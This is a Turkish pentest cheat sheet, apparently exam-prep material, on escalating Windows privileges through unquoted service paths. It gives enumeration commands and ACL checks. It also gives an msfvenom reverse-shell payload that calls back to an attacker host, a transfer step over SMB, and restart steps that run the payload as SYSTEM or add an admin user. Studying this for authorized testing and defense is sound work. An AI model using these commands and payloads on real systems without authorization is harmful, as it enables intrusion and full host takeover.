FOOTHOLD Metodoloji Cheat-sheet
PrivEsc ✓ EXAM-SAFE orta

Unquoted Service Path → Writable Dizinde Yürütülebilir Yerleştirme

Tırnaksız (unquoted) ve boşluk içeren binPath'e sahip bir servis, yolu boşluklardan parçalayarak çalıştırılır. Yol üzerindeki herhangi bir ara dizine yazma hakkın varsa, oraya kötü amaçlı bir .exe koyup servisi (genelde SYSTEM olarak) yeniden başlatarak yetki yükseltirsin.

Bilgi: ÖN KOŞULLAR
  • Boşluk içeren ve tırnaksız bir binPath (örn. C:\Program Files\My App\svc.exe)
  • Yol üzerindeki bir ara dizine yazma (FILE_ADD_FILE / Write) hakkı
  • Servisi restart edebilme (SERVICE_START/STOP) veya host'un reboot edileceği bir ortam
┌──

Komutlar

cmd ✓ EXAM-SAFE user
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v "\""
Auto-start olan, C:\Windows dışındaki ve tırnaksız tüm servis yollarını listeler — klasik unquoted path avlama tek satırı. HackTricks — Windows Local Privilege Escalation (Unquoted Service Paths)
cmd ✓ EXAM-SAFE user
sc qc "VulnSvc"
Tek bir servisin BINARY_PATH_NAME, START_TYPE ve SERVICE_START_NAME (çalıştığı hesap) bilgisini gösterir; binPath tırnaksız mı ve boşluk içeriyor mu doğrulanır. HackTricks — Windows Local Privilege Escalation (Service binary check)
powershell ✓ EXAM-SAFE user
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' -and $_.PathName -notmatch 'C:\\Windows' } | Select-Object Name,PathName,StartName,StartMode
PowerShell ile tırnaksız + boşluklu + Windows dışı servis yollarını döker; wmic'in modern eşdeğeri. HackTricks — Windows Local Privilege Escalation
cmd ✓ EXAM-SAFE user
icacls "C:\Program Files\My App"
Hedef ara dizinin ACL'ini gösterir; (F)=Full, (W)=Write, (M)=Modify veya 'Authenticated Users'/'Everyone'/'BUILTIN\Users' yazma hakkı aranır. HackTricks — Windows Local Privilege Escalation (Folder/file permissions)
accesschk ✓ EXAM-SAFE user
accesschk.exe -accepteula -uwdq "C:\Program Files\My App"
Sysinternals accesschk ile dizine yazma hakkını netleştirir (-w: write, -d: directories, -u: errorsuz, -q: banner yok). HackTricks — Windows Local Privilege Escalation (accesschk)
msfvenom ✓ EXAM-SAFE
msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f exe -o My.exe
Boşluktan önceki kelimeyle adlandırılacak servis payload'ı üretir (ör. yol C:\Program Files\My App\svc.exe ise -> C:\Program Files\My.exe). Üretim Kali tarafında yapılır. HackTricks — Windows Local Privilege Escalation; OffSec PEN-200
smbclient ✓ EXAM-SAFE user
smbclient //{{RHOST}}/share -U '{{USER}}%{{PASS}}' -c 'put My.exe'
Üretilen .exe'yi hedefe taşıma örneği (transfer adımı). C:\Program Files\ dizinine yazılacak yolu hedef üstünde belirle. HackTricks — Pentesting SMB; LOLBAS file transfer
cmd ✓ EXAM-SAFE user
sc stop "VulnSvc" & sc start "VulnSvc"
Servisi yeniden başlatarak yerleştirilen yürütülebiliri SYSTEM bağlamında tetikler. Yetki yoksa reboot beklenir. HackTricks — Windows Local Privilege Escalation (Restarting service)

Zafiyetin Mantığı

Windows bir servisin ImagePath/binPath değerini tırnaksız ve içinde boşluk varsa, yolu soldan sağa boşluklarla parçalayarak çalıştırmayı dener. Örneğin:

C:\Program Files\My App\service.exe

Windows sırayla şunları çalıştırmayı dener:

  • C:\Program.exe
  • C:\Program Files\My.exe
  • C:\Program Files\My App\service.exe

Bu ara adaylardan yazma hakkına sahip olduğun bir dizine, doğru isimle (My.exe gibi) bir yürütülebilir koyarsan, servis başladığında senin binary’n — çoğunlukla LocalSystem olarak — çalışır.

Tespit / Enumeration

Önce auto-start, Windows dışı ve tırnaksız servisleri ele. wmic service get tek satırı veya PowerShell Get-CimInstance Win32_Service ile listeyi daral. sc qc <servis> ile SERVICE_START_NAME satırı LocalSystem ise hedef değerlidir; START_TYPE AUTO ise reboot’ta tetiklenir.

winPEAS/PowerUp da bu kontrolü otomatik yapar:

  • winPEAS: Services Information bölümünde Unquoted ve you can write rozetleri.
  • PowerUp: Get-ServiceUnquoted ve Get-ModifiableServiceFile.

Yazılabilir Dizini Doğrula

Unquoted path tek başına yetmez; ara dizinlerden en az birine yazman gerekir. icacls veya Sysinternals accesschk ile BUILTIN\Users, Authenticated Users, Everyone ya da kendi kullanıcına ait (W)/(M)/(F) haklarını ara. Sadece C:\ köküne yazamazsın çoğu zaman, ama C:\Program Files\My App\ üst dizinine yazabiliyorsan adayın My.exe’dir.

Exploitation

  1. Kali’de msfvenom ile servis uyumlu bir exe üret (reverse shell veya net user ekleyen basit bir komut çalıştıran payload).
  2. Payload’ı boşluktan önceki kelimeyle adlandır ve doğru ara dizine yerleştir (C:\Program Files\My.exe).
  3. sc stop + sc start ile servisi yeniden başlat; yetkin yoksa makinenin reboot’unu bekle.
  4. SYSTEM shell / eklenen admin kullanıcı ile yükselmeyi doğrula.

Notlar / Tuzaklar

  • Servis hesabı LocalSystem değilse (ör. NT SERVICE\...) kazancın sınırlı olabilir; SERVICE_START_NAME mutlaka kontrol et.
  • Payload servis kontrol yöneticisine yanıt vermezse servis ‘failed to start’ verir ama binary yine de çalışır — reverse shell yakaladıysan sorun değildir; yine de servis uyumlu bir wrapper veya hızlı bir cmd /c payload tercih et.
  • Temizlik: yerleştirdiğin .exe’yi sonradan sil ve gerçek pentestte raporla.
  • İlişkili zafiyetler: servisin kendi binPath’ini değiştirebiliyorsan win-weak-svc-perms, registry ImagePath ACL’i zayıfsa win-weak-registry.
┌──

Kaynaklar

0/15 set